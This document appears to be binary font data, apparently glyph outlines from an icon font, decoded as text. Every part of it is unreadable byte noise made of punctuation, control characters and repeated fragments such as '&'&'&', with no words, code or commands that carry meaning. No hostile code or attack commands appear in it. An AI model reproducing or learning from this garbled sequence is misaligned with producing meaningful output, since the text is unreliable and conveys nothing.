)5BSr"2#"'&546462"'&'&72'&'&?>32#"'&546462"'&'&2/.46763%2+'.'&7>76;62#/.=47>3#3%"&5462%2#"&'&=4762#"'&546462"'&'&2/.4676;2#/.=47>;2/.676;2/.4676;#"76?>54& %"   $  %"    RK7  X  9!   u %"                %* 5    %* r   P   SS T   %* r        t*06;?F!'.'&/&/767676;6!!6&'67#3#!&'     # "" h2)(,(q))))R))}())(  #     "T)))d()2)(}R()dT))))2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"2#"'&'&'&'546?6767627676=4&/.#"%"#"373676?5#"'.'&=P$   %   #?  0  q  kk +&/% =  "    )71-#    ,   "0<  ٽ    & %~ & XA0 X*     ٽ 57)2B[|2+#"'.'&'&=476?>76;546?6;6!>?5&'.'&'#"#"2"&'&'5"./&7676?6"#"37>75#"'.'&=P$   %   #*  0  q  kk     0.   )71-#    +   "0<  ٽ        /.~ٽ  47)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"54767676323232#'&/&676?>76'&/&#""#"373676?5#"'.'&=P$   %   #?  0  q  kk *! 0   W' P[4J    )71-#    +   "0<  ٽ   /'-  r  C` ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'&'&54763276&'&7>?654&/&#"#"5476767632%"#"373676?5#"'.'&=P$   %   #?  0  q  kk vD4% #  2" *! "   )71-#    +   "0<  ٽ   6G " '  !( %/' *,ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&=#"'&5476767632%"#"373676?5#"'.'&='3P$   %   #?  0  q  kk v   @A XV  )  )7M-.1-#    +   "0<  ٽ        "jjٽ 57)Y"E2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"232+32#&/&676376'./#"&/&'&=4567676"#"373676?5#"'.'&=P$   %   #?  0  q  kk     <@   # p03# 3    )71-#    ,   "0<  ٽ     S      W%" ~ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'&'&'546?6767632#"&'4'&/&#"632%"#"373676?5#"'.'&="3276&P$   %   #?  0  q  kk vD4% = "     )7O  1-#    +   "0<  ٽ   6G XA0 &  3  ٽ 57)}  !2E^{2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"4?4'#"'&'&76762"&"#"373676?5#"'.'&=P$   %   #?  0  q  kk 72;  *('  )71-#    +   "0<  ٽ    @   ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'.476?&'&5476767632'">'."#"373676?5#"'.'&="3276&P$   %   #?  0  q  kk vD4%   $ 0   {   )7O  1-#    +   "0<  ٽ   6G #1 ,-  ,  *ٽ 57)}  !2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'.5476767632#"'&'&'&54763276765'">'."#"373676?5#"'.'&=P$   %   #?  0  q  kk "+$ +&/% #   (   )71-#    ,   "0<  ٽ    . ,& %~ & " '     *ٽ 57)2B[|2+#"'.'&'&=476?>76;546?6;6!>?5&'.'&'#"#""#"37>75#"'.'&=P$   %   #*  0  q  kk m  )71-#    +   "0<  ٽ   ٽ  47) u(8GWiz!&/&'&'7>76?6;667.'%#2'&'&?6;2'.67632'&'&5467632#"'&5&6"&54624632#"&'&572'.'&'&6763"326'4& - )8 $  $d#        d!x      % $/g        Tw& '"   K232+/&/#"'.'&='&/&?6?547>76;7676+372767676;5'4676?'&'&'&=#"&'&'2#"'&/&'&'&76?63"276?>54/&'&'& ,0Z X  X YY   ZAC X  X CA0, - I)(96$ ((9 66((96$ )*G1   $3'$  %V    $   ,0CAY   ZACX  X CAZ   YAC 0,e,6$ )(9 66)(96$ ((9 66(X1N  $  &]S "  " K232+/&/#"'.'&='&/&?6?547>76;7676+372767676;5'4676?'&'&'&=#"&'&'2'&'&/&/.'&7676?676?63 ,0Z X  X YY   ZAC X  X CA0, - I)(96$ ((9 66((96$ )+!    #0  ),0CAY   ZACX  X CAZ   YAC 0,e,6$ )(9 66)(96$ ((9 66(X" /"  # ^/1+Oduz2 '&'&76754?67676763567>76;7213&/2"'&'&54767626=4'&+"3#35"))K+87   !q_ 22c/.}!#?B }./ce) 4 Q  #    S1"dc t ;*X.SSk! ;ZSS." >' (   L"&5476?67632276767632#"'.'&"#"'&'&#"2336 '&'&7>;676?6?67654676"!5'&/&'&/&54'"36/&'&'&/ % ! & (6& (  !O$        5!    < 2  6k       (    6 S!'!$(+%E   )+'I%'.)"T&/52=%Hz(5 C$ +T   WA]ko3547623+'.'&=#!&/&'&547676;5476767>;567>76732'#354.'.'#&#34&#"7>7476=#"3'&57"7>54&R41 < ^ @ 0 1#;"4     -) "}   F  EG |  5:@=  gj  +"4>'     6" >| )    4  1.S2#"'&'&'&'&767676?63"32?>7>54'&/&;1#"&'&=#"&'&47676;>54'&'#"&/&'&5476767625476?6232+%"'&'32?676=&3267676?5#"'&'&'32?676?5"'&<$ &$-9 !'!&8&'0#     ,T"1(  ! (   90   !  99** & *) Z* = *J- %)&&   ,T"%  "$'_&1  $ - 2)S    !  !  #     %      " #~      1 ! 3/2'&/!#"'.'&767'&/&7>&'#"&'&/476762357676?632#"'&=&=#'&'&/&676?6;5'.'&+"&'&'503'#!267&'"7676=&'.       2  UR dG 7{    1             % ȯ .#R DD  - dH Q 5 FE5O}6767632354>32!32+&'&'&/&567>76;"!54'4'5.'.++"'.=#"&'&'52#"'.'&547>76763"27676?4"'&'.=43"3254/&'&'&  0   = 5' G  6*&  #7* ! (3   <yU&%     #T\  # <'&5T CCC,    -  8E8-$ ! 8F#7 [  ;   <%& 5O}6767632354>32!32+&'&'&/&567>76;"!54'4'5.'.++"'.=#"&'&'52#"'.'&547>76763#"32676764'&'&#";27>=4'&/54.  0   = 5' G  5*&  #7* ! (3 1' $  *     #T\  # <'&5T CCC,    -  8E8-$ ! 8F#7 T1# D     "  Ch2732 '.'&5476?>76;267676767676?6;6&'#"'&/&'&'&=#+!67276?2"&#"+"'.'&=&76?676"#"'&#"327676?3267654.'&'" "#,  )6 0     H     + \  *0J   ,   2$    %   %  !/ { 3)    "           tW *+   ! ,  S      .)Chx2732 '.'&5476?>76;267676767676?6;6&'#"'&/&'&'&=#+!67#"&767676;2#"&767676;2"#"276767654&#"'&/&'&" "#,  )6 0     H     +! \a     !P  $    %  !/ { 3)    "           t0         2.[}2'&/!'&'&'&'&'&'&754?676?'.476762&54?&'.'&'#"'&'&54676;6"!&'#"'.'.46?&'#"&/./&'&5476322'&'&7676!2'&'&7676&'&2?2    0GyU% %"  + $   c %3  >> !   k          !   1 /F 6W-"! }-4   D    T     ) 6 =>  #   #   H!   7X} !#'&'&'&/&'&/&=46?676?6;6"#!67>767&'.'&'2'.'&7676?676?63"27676764'&'&2'&'&7676!"76?64/&'&.+ "ԏ_)   '* )'  (G1  0$K8   #0    ,         -6WU7    " a7"T  - )10$ 80$  # S ""  + )#   ' " u&'&#"32!&'&/&7637275767167676736;633322767&'#"'&?6?'./&7676#"'&/.'&5"!5'.'!!0#";276?>4&'&/7>54&      KA -       0  c%L L !   # " 8r }"  ) ![X)@F  #    & F `b- 7  -   9$ 2g2#"&'&/&/&'&632;2767>76?6?6?654'&'&'&/&'&'&'&#".7>2#"'&'&'&'&5'7676?63;276?676?>=4'&'&'&'.'&/&'&6?6"#"327>54'&'&""+H=. /I#2   <+ Lk% =  9    @5# *(?& T<    %         4 1   =e# '*'-3 $  N= '#&$&=3  ' 5#"# H41 <"  "   !"&  ! +  1v2"'&/&'&'&/&'&/&5467632767>76?6?6?654&'&'&'&'&'&"'&7>32/&'&'&'&'&376#"/&'&'&'&5467676?"#"32767>54'&'. ;8+1! !   (J) "6A>%8    1 M<12' %3!?#M  1-B   6      1 &    -WA " &;V      0 &10- 6/*)Q=   %UX 0   +5 $5 ." # '@  H    %#+*%1  %  4 "$#8&;     1v"?6?#" 7367676'&'&+;2>/.'.";26?#5>76./&?6?#>76'&'&'& @D +-  !88   7%   % B@ 1?C    6  #6H# ^# C@5o"7>76=!?>7>4&'.'&!53?>?6/.'&#5!?>?6/.'&!54'&  6  #6H#  #^#  # 1"  -+7   8% %% %+-"vR2#"'&/&/&'&'&4"/.'&'&54?676?676763#"74?6?67676?3'&'&'&/&0#"72?676?67676=6&32767>7654'&/&'&/&'?4()    ' 7&   M"J      4#    "&.   &   U    ,E  *5& !   )&   !#$-#  *   %  99$4 xJ   S     4$ #        ()  $  -   & 1!(! 1<2#"'.'&'&/&'&'&5476?6?6767633276?6?676?67676?##"'&'&'&54767676?'3'&'&'&/&'#"32767654'&'.#!&%)(&C#(2-8@%!F$%  #  #DXt# !0*%   &2  ,6 -$0 D"V(  %h#6 % V 0  -Nx H>35  42>H*$& F:KU  $8 8    ;G 1 & 'E6) ~   oE   )   "U)1<cz2#"'.'&'&/&'&'&5476?6?676763&54767676757'3'&'&'&/&'#"32767654'&'.##"'&'&#3276?6?676?67676?#!&%)(&C#(2-8@%!F$%  #  #DXt D"# !0*%0(  %h#6 % V @6 (^O  ,0  -Nx H>35  42>H*$& F:K226)   $8 8 )   oE   )   "U) 1 & P""   ;G 1Ek2#"'.'&'&/&'&'&5476?6?676763&5476767675'3'&'&'&/&'#"32767654'&'.#76767673276767'"'&#!&%)(&C#   %!F$%  #  #DXt D"# !0*%C(  %h#6 % V 5  ## " 60%H 0FU"0  -Nx H>35      42>H*$& F:K226)   $8 8    oE   )   "U) ! 45 "39 m(% i 1}2! 3 '.'&76760'&'&54?67>32'&#"#"&'#&'&'.54767'&##"'&5476763276322?264&";2654&'&+"#"326764'& ce     I 0@%'*** 3   9  R$  (   )! G      1"      2 'BC?&   ! EH(  $  Bg# # *   $ 1*DL\s2#"'&/&5476767676327676767'#&'.'&'57&'3'4&2&/&762/&/67>2&'&/&5475>763#">764'&/&2    +B) l<#  +#Q 7) >5  &K         0  "" '$9'K+' ,# Z"R&)   6L" "* J *   @O }  R%" 18x2#"'&'&/&'&54767676767676353276?6?676?6?67676?#"'&/&/&'!'&'&'&'&/&'@:/262C*65 ZJ:=/%"5$&CJ  J;6& #   &2    0* V!'$9#1:Nx A9.3 *#-  4% ^o J;5.!  (%8 FN;- !  F. R E51& 18JZ2#"'&'&/&'&5476767676767632?'!'&'&'&'&/&'#3276?6?676?6?67676?@:/262C*65 ZJ:=/%"5$&CJ G  #"\V!'$9#swx%H    0*1:Nx A9.3 *#-  4% ^o J;5.! US FN;[Nz7 E51& fe%  F. 1:L\j~2#"'&'&/&'&5476767676767632?'!'&'&'&'&/&'"76?676?3276767@:/262C'8 #0!ZJ:=/%"5$&CJ G  #"\V!'$9#??FE ?67k%H *1:Nx A9.3 ;% 4% ^o J;5.! US FN;[Nz7 E51& hi ??  -.[% 1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2#"'&'&=&6?676"2767564'5&/&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 80 " (*3! >  $ 0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."} 0!4/ a@ 7S  -F-1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"3276?3327676=4&'&'#&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8- 2     0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%}1  )   Y: 07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"32674?>7367654'&/767>54'&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#.2!  JA & \? 40Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }/      `T   Q 3>'07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"32674?>"3&/&5.#"2767654/&'64'&'&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#.2!    !   / 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }/     '    6  !"4  )J07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&22+#"&'.=#.54?>;mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#     h    !0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }        11<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&"&3;#32767654'&/&'.+53767654'&'#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8-;  "3   -4 57/ $"DD 0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."}  P[    !"4   S  07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"&'4&/&#"37632#"'&'&'&'&47>7632"676=4&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#'    #4* )#3!  \  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ."  (C' !&/0  T    1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&"&332>7654'#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8-; >>$  U0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."} Z7  T07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&2#"'&'.54?67&'&54764&#"2?65"6=4&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#./ 4* % VA  '  !0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." } !"4  C' ?)  Y"w   w  07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&2>76=&/&/&'&/&547632#"'&'&'&'&54767>7"27676=4&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#?V3!  (*  ^  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ."        Y"04 !    11My2#"'&'&'&'.5476767676763"#"!'&'&'&'&/&'&!3276?6?676?6?6?6?676?@:/262`*65 7/**[9; %D$&CJ  ~H''$9 8/1+X    % 1:pA9.3 *#-  .LPo71)+J:! S k;6 E51& >;3& 1(  18Qw2#"'&'&/&'&547676767676763'76?67676?6?6767>4&/&'&'&'&/&'@:/262C*65 ZJ:=/%"5$&CJ G  #   ;G V    0* 8#1:Nx A9.3 *#-  4% ^o J;5.! US FN;- !,j F4"D" 2&*% 2:2'&/#"'&/&/&/&/&'&/&547676?'&'&476762"&7676?654'&/&'.'&'&#"'.5476?6763'32767    (*  ,=`635*(    ]* $ D71*     B ""#)   (#J#t*C2 '&54767623 '&'&7676"#" 7654'&'&P     }    "          Bx2#"32"'&/&'./5'&'&76?546?676?63!2#".'&632?56767&'&'5'&"&'.63"#& 7676'&'&      &  &M   &*   #  ]N  N]   TT n( "   TT TT M#]N  N] "  By232"'&/&'&/5'&'&76?5?676?63!2#".'&632?56767&'&'5'&"&'.63"#";>76=3267>'&'&+54'&      &  &M    +- -+5   !8  ! ]N  N] # TT TT *   TT  TT M#]N  N] ""-+ 5 -+ +-"M&*`2#'&'&'676?36#3"#";3267>=326764'.+54&/&W" Y_  18       ڌ\)   hT        < M!%_"'&/&'&/767676#3"#";3267>=32676?6/.'&+54&'&Z`   _`$ $           \  T         v':h25463232+'&=#"&4767>%2.54>7>32+'&=#"&?67>;546?6372"&54?>?>7632%2#"'&'.?67>?632#"&67>7%"#"#";2767>5?2654&/&+54&      E n            .bO;U         *a   ? $         S^]  "  g  "& *!      v3BF[lx2#"'&'&5476?6!2 '.'&7>?6;64632#"&'&5#32.546?63!2&/&?63"&5462%2#"'&5&62#"'&'&5476?64632#"&'&52.546?63!#">54&   \""" Hb 9 "   o!  x     "      %%%H$( -   T    $(      KCc2#'.'&54>32327273>?>=676?>">54'&/7671>54&#  4 $ jjL   ^eC   @/&W GEFE3@'M       _+ -&W   GEGE K<Y4632&546?#"&/&'&'&=67>2;'&'1.7"7>76754'.'& TVYK$ .2$?(  # b^L S:  UW YJ .2 D$ u  #N /$ T;  'Nv46325&76767676?6?6;63#76767632+"&'.'&5"#";27>76=4&'&'&'. !3 (J=$ w-3!     (    ,GGE !2!    02!        ,GFE%,t2#"'&'&/#"'&'.=67676?6";>?!676/&'&/#"'#"&/&/5326=.'&'&  /HH/  WU WY  ] #   CG ]  YW    /GG/   VUUX \/     fg\  XW#Hl"'&'&54671676?27>32+&'&'&'&54632154'&/./"#";67>4'&'&'&'1& #!2.   WS N R SW    ;T     $ gd2.  XS L^b  TW  :S &!g"&547676?632#"'&/17";26?+32767675656=;267676'.'&W&/   GEGE   _+3@'M       W&- GEFE*  ]eC    4 $FjL  K+p2+&'.'&'547676?63"326=./3767/&'&'&/&+7>754&'.X /GG/   YV  WX  \gf   > ch\   /HH/   YVVX   ]   ?]  KKq2+"&'&'&547676?#./4'&7676?>76763'&'&'&5463";27>76=4'.'&     !2    ( !2!   2QQ2         !3 %/( $ 3!   3QQ3     2)_t2'&/!&'.5463267'.47676#"&547>762767632#"&547654.'&/!'&/'&'&'    0GjV% O FK ~   ' " 5\KK : <    Bx*,$  1 /F 8< 9 O<<  vM1   b: y*+#% a3lx2#"'.'&=4767673767654/&5476762+&/.'&/.'&54?>32;671656576"&547632"654&'&'& ;.. '4  ,3 w   2*;) -     %98     ` VB A%      S LF *0   +! ""%&  /H &S  @Qc%#"'&/5#'&/&?6?3576763232+67654'&'&/&/##367654'&'&/&/  ]]  %    '   [[   8       4 8' (/'N # T # }"#"33267676432?6767>?6.#"'&/&'&'&'&/&54767676?676327676'&/&'&'&/#54&'&  #*% /[';    $  &   !#'-$   5*  % B]% S=  /        &     Fv2#"'"'#&'&/&'.5467673213767654'&762#".'&>?6"&'&54767676?66767654/&54767632#"/./.'&54767>;";2654'. "e@ $     \b [ gC  . 33F0  Mw  ;.. '4        2%  '     ! #})-     8 6    VB A%    T   3BO#"&/&'&'767632676764/&'5&547632#&'&767634632&"#"#"37654'&'#".546232>54'&'&V    x Q ^  l . k&#9T      \  o   $  * >/'#       v%"'&'.=#"&/&'5&'547676276764'&/&'&'.467676?676736;546763232#2+2&'&/#'&'&??676337&'&  5    Z+.     5     ; ,   # :  .]"WK ) z @ 6@$8   C "00  "  "" "0 )   H    GE 9q~Kp%#"'&=#"&/&'5&'547676276764'&/&'&'.54767676?6?6;546763232"+"2+"#";267>54'&'&'&'&/&5476?>?676?67>32676754'&'&  5    Z+.   #    5    !(Z& ; 3!   #  $C  %  !'   #( [*  "     8   C "0$   " I&+<'  H C" #%,   ?*E (   o%#"'&=#"&/&'5&'547676276764'&/&'&'.54767676?6?6;546763232"+"2"#"3;2";26?6?67>4&'&/&'&5476?676327654'&'&  5    Z+.   #    5    !(Z   ; C10$ ]&3 "*  $"      _3>$_Z  TZ 8   C "0$   "  3 ?"/=1H 0$   $ ?0Y    !2&,82"'&'&'&47676767676'?6?#'  #  +J:5AAFFFF_K> DDD1   v#`|FWn`u:#'&'7676767>;632+323"#";3;767>54'&+&'&/5327>76'&'&'&+5476'&/&  2+Y $[N$'         .   * +-  -+   !  (   M RV    !   S%  T"#"#";;27676=32764'&+5367>4'&'&+575676?>;67>54'&'&/&P5G        | -   < [   <@ < S! CC  K[}27276?676?65>761'.'4/&'&'&/&/'&/7>!27676#"'&'&'&47676"#";267>754'&'&"'&'&'&547676?6?36?6?6=4'&'&     @!  .$ (    5   &7 ` .( :26 0   a    6!    b   #>%   G5     %5  _.(  2%0?       vRv267676?65>761'.'4/&'&'&/&/'&/7>2"'&'&76763276"3276?64&  %@!   .$ (   5  S6     3g   b   !@% (%07 G5     @T[ U  "#KRx267676?65>761'.'4/&'&'&/&/'&/7>"7>765476763>7654&#"/.  %@!   .$ (   5    6<3   b   !@% (%07 G5       [T@ " *#"327654&'&#"'&/&'.2      &   #(     "3276?76?327676767654/&#"#5767>54'&'.+576767654&#"'5&'&  JG 66KI  58R>7+%    ':KK 8JH 66    %# ,$%%% %uv  *&@8^      '&%  I%# 76 %D";76?37676/&'&/!&'&5763?6764./&76/.   & 1         R|9  KI?%   hg_ FG Mx23545>3+32##"'&/#/&'&/5#"&'1.5&?676;5#"'&'&/&74676735476?601&"3#3&'7#3"2=\( : -    -'/ : !     -  F.H`ٍ` /%h\    R   -. %h\   R   -.$ R*)TR #))TR*)p%#"'&=#"&/&'5&'547676276764'&/&'&'.54767676?6?6;546763232"+"2+2323././&'&'&/'&'6?6;6#3276767654'&'&  5    Z+.   #    5    !(Z& ; 3!   #  .! ,      ,  &6../  8   C "0$   " I&+<'  H !# ) .   A   T "Lu232!&'.5476;6 ;2767>?6?676756=33276767654&'&+"&/5326?>=4'&'&  ((   <@ ' &     ' "     [      PFL?      # ME % !   vr%4767&'##"'&'&'&'&54767>7632367&'&54767676;2"'&'1632#"'&/&'.#"32767>4'&'.'&"#"32767654'&'&/&"#"2654'.)E=+ % 0 #2 E '  1.,- 3( "'@ ,   "     X 0(      -K. $"!! *9  %  6% !!!4$    ) , 7 <2$1"1   )  #0     '0.%7k232676754767632#"/&'&#"/#"'&'&5&5476763276757676267>7>"&546767632?676765?67632'"2676&    B, " 'F    !       +&  ?<$"     (1 #4# %1   B 4 0*    >>  &:$  "   6*(]k232#32++"'&'&=#"&'&7676?6;5#'&'&/&7676;54567>;6#36767654'&'3I:.    rsjg  gj    3   CVo?. *&   S z  @>   S '  T&9"3i232#"&'&5&'&'&/&+'&'&7676!"#"/&'&'&/4'.#"2;27>76'&X 1!  C =D   D?   *  $%Y   $) c_A "  !  ' +*   "i"3274?>3327676767654'&#&#"/&'&/&/5367654&/#54'&'&2!  $^ T$)3%#*    ^ // (/  & @=  % %$ &1,  "ZZ D=4`"#";;732?3;2767675767654&+"'56?>54&#"5327654'&'&gm  WTIF r  "K IF 8  "KTW"   *G7  7   t  A7    z237>767323767>#";'&/#'.'&/&'&'&67325'&+.7676?'.546763#376543"3757'&#7%#?       -  $@.. t (*j )  t ..@ -  H\H\* :  .E  $EG  *8 Q 8  "z:!    U Q 8*  Q)'')Q 3 n!!!!!!!!v7^%"&547676?>32167632'&/'#3 7676'&'&+7676&'P'E  B T   ! qo , b` *5  p& 1de   qo    q"#";1327673767>.'.'&'5327654&'&+5&6?67>71>76'&"'&'&        $        &     '  &! '   '      '!  1w2"&'&5&754#"#"'&/"2736#"/&'&"32'"'&'&/&'&5476767676?6?6?63#"32676?64'&/&/&/&'&'&"#;67>7>/.h'   iBPH+ .2.5w 8'$;${G  ! @ */"/X&    30.kd  *M7=U/@    1$+,   14%  "@s-GG   #    &     T+      7$-     u1{"'&'476767676?6?6?6372+"#&'.5476276?6?676764#"#"'#.'.54>33276?676754#"#"'&/#"32676?64'&/&/&/&'&'&"#;67>7>/.    3$h(  )!8@O'  R * 5 (8(F-S   <#!(@4  iBPH+  G.kd  *M7=U/@    1$+,    `     4$/        GG-uu +      7$-     2,67'.'&7632'&//&'&'&'&'&5%#"'&476?676?54##".7676?676?654'&'&/&/&#"".>76?6372#"'&/5";/.'"327676?676?'.'&'&'&(     +3 ?I@$ <#0   QU %   n? + 6&8(,(   -7$:XK?   .2/5<$" &1 @P+'+   B2>HB8;. (       "   GG# $  &      !ܿ "GG     C2 2%1=2! '&'&'&5467667676;'327676'&$  ><V |V~ 2   $ 7  &s  $  ;?pu##+32!&'.4676;5#"'"'#.'67676?6!!2"&/&'.=4?>767676763#35Z#) ;Y    Y;     f )C <]   62 S F 2R R$ T`M  )C;[    52 _RR+Qh!&'&'&'&='46?676?6;6 #6?67676;625'5&'&/&"&54767>32!"&54767>32# 767'+ #   H --1)  1 g? "1 "$    #\$    #‡P   I @ ) ח4" T && #   ##   #ee1MQp23##"'&'&/&'1&'&''"'&'&/.'&/46?676;6!!!32767676?6?65'2#"/&'&/&'&5476767676#"32764.'&"326764&.24    )-!%4,%&# $   +fS !'("" 5+  Q6Q 8. %-< ?%'    1.Rx   9    !6L   X  # TSS7 !)$  " !%X  $= eA+ # &0'T #   2!D4 S ! #23%!&'&/&'&54?'&'&'&'&76?'.4767632'&/2&'&5476?6764'&'.'&'&'&/&#"#"/.5476?676?63"#"'.>73632#"&'&547654'&'&/&'&47'&/76?&'"'&'&'&7'#"("4L -  97      ;#' 0,&      &  (+#    *    +#      "   #-1 !"#)FG  $W*     69#%,'<$ 98   B9c!"& % !U"        ?!     Z ! ,"$ "" HttL0M%!&'&/&'&5476?'&'&5476?6?676767676?6;2";27676?6?6767654'&'&'&'&'&2#"'&'&'&6?6?6?63#"3267654/.25'&'#"'+ 4%% 2   .=%  ><.    0  #3   #!##   ! "+K)   3   % %#$'! O?B"   == 23?Q" #' %   2#*$$0 N   C*!+#      #$)8-'! S %&2@+ !+> S    :: )B <@Ys##+32!&'.4676;5#"'"'#.'767676?6736!!2'&'&=46?>32'&'&'&75476762#"&'1&5&54675>3#35Z#  ;Y   Y;    f9     m  S F%RR$T`M  Y*   S  *   *  )     RR28^af%&54676;5#"'"'#&/54'4676?&767632'&/324767!#"'&/&46;#"'#"&!#35$  Y; )     X[  V '! u }ASR2 JQ1    X[@    F!,rTRR1*Yk2##"&'5&=#&'.'&'547>76&'676?>?6;632#!547632#232?>;5!"3276=4'&  P$, S  9 +  TM  } <- ,)T    1 )    =0- UR ]W     '+pt262#'+'"'&'&5&67>;6#3236#36"&/.54676735#'&'&'&547676;6!!%2'&>?6"76'&'&M     '@?'   Dw0BF   J  !   S| nM   "    ݟ`*  #`* T  \) )  )  T}  }#   6Gt2!'&'&76+"&'&'&76?!+"&/&'.=47>7632+'&'&'&'&'&5&754747567676;6!2'&/76762+"&'&/.=46767632.'&=46?67>"#"37>76'54'&'&#&    \_      '.Z +4  2' N3 (O V    Z .&     8 NCN   ,1   ]  _    &.  Y 4+&2  .Wh' W   X.'       8 S  4>1/D22##"'&/&/.+"&'&'&5&'&'&'&'&54?6?67>=>?6?>732>7>76?6?6;6"#"";27>767>;27>76=46767>7>'&'&'.'&'&=4'.'&#"'&'&'&/&2#"&546?6372"'&'&7676"327>54'&'.    8    :  -     2 !2    (   0       )"       n$!     %  02       $! @-     9 ! ( %  /S  (   3      ")       # %    !  ##"'#".76?654'&/&'&'&#"'.476?676;/476763'54?6762276?6+'#"32767654'&'.#        0&  <0<*  !   2;    4'"U V ,    & ;  .     *H$ C8   /  (     `4+ V"U #2a5#"'&/&'&76?'.'&7632&/'&/&'.54?67632?/#.76?5'%2#"&'&67>54'&'&'&#"#"&5476?676?6?632.'5&'&'&'&'&5476"&54?>?632'3232767676?>32'&'&54?6767676!"327671654'&'&'&/&'  $ H         c+      !dd   d'! "' '/    &^!+%   . o  '/  $ -/2m- !J    +   * #  +c       H    ed   d &! )-6+  (    # $     T ! 5+   /".)Z(3  *!& 16   "17GOZr2#"'&/&/&'&'&'&547676767>76!'4/&'"73#?#3276?676716?6?657  0 !bL    nl  0_  .Z89  ?    1  !#-*)'   9  #/  x-H    .99 >J    "24GPZd2#"'&'&'&/&/&'&54767676767>4/&76&67'&'676765  W4*#   % pO "a ' 121FE >[+ 1 $*('*@   >Z y0@)  :-&  &&BAH22eEF G"17Gb2#"'&/&/&'&'&'&547676767>76!'4/&'"3267676?6?6?657  0 !'-O.    nl  0_  !ff $#. 0  1  !#-*)'    5  #/  x-H   $=    "13?M2#"'&'&'&/&/&'&/.47676767>&6767654'. on  W4*#     ol #FA '[+ 1/D *('*@     "<  @jd'+0(!'G9( 26`{2'&/#"'&'&/&/&'&/&547676?64'&'&47676"&54>767632#"&4'&/&/?676?6?    AB Ed 5*#'    Uw 2Y    )- G  !81   1 @A E    '0' %Uv     $; +@ D~%, 7  2T#"&'.7676?6?'.4767632'&/#"'.'.54632327676?'&'2"'&'.=476?>54'&'&/&/&"#".7676763#"7>76327654'&'&'&5   FE      OR !#+68 $30( 8;)$91-! 0    3+ 0     @R      (!   #  GF  OR<  !" 8;C ",$3 mH    B%2+!#%   3  'L/# 1%42#"'.'&4?>?67>?64&#"7>7623276?67676?676;6#"'&'&'&'&5476767676367"'   "II {$  1  @ 7$(  ( " #%,6  "'3 " *51ARG:-1 #'C&0 )B|}0&" $ |"  @ " (2?3276764'&'&+673276764'&'&+7>754&#  KOC   SRq    "\  SRMM #"\KO  SS  ]   # SS # ]  K7(  '&'&4676  76764'&'&(  & P 7 #  # #  # 2#"&'&76?'&'&/&'&/&'&'&2#"/&'&'&'&/&'.4676?676?67676?>76762#"'&547676#";2676&"'&'&'&#"?>?6'&'&4?        "  #,=8-.%4   !#)"  B0 +0<&5%  %D' ?'  +M$    ` 'E&   ]      !&  '  4*    4%# %    2-( !! *<  4#G( T&$%F& #^   x&'&5473#"/&/&'&'&/4+#"'&'&'&'45?676;63#0?632376?6?67676325'&'#"32676&'1&'&'&!#"32767654'&'& h>?$  0$"** H(2'9 ?> 2 ?C+( 44  )  CE* ,6    *    9D"  $.(>0 .A Y   N    N  14 4)#   *I* $ et&'&5473#"/&/&'&'&/4+#"'&'&'&'&'4=4767676;63#;35673244'#3276765%#327>= hB4 0$"** H(2'4B 2 :cz| T |zc *bh $  *    ݯ;" )   $.(>0 ! ;   55 F_$.- '%"""&,$u3GOV]d7"&546716?54?676?6372+167676=4'./&+"'675#3?'67#367'%[ !) N5    $&' Y #T)**h-)*Y*)))*)h-))Z)) '&`c \5  8$-& %'  A*Y*)-h**)*>-)*Y)*<)**)L$ !#"'&7>76#!&     #  #T#N)7%01"&'&76?6;63 !#!'&'&'&76?  ' 6Q ='  9<   6Rw='  9< 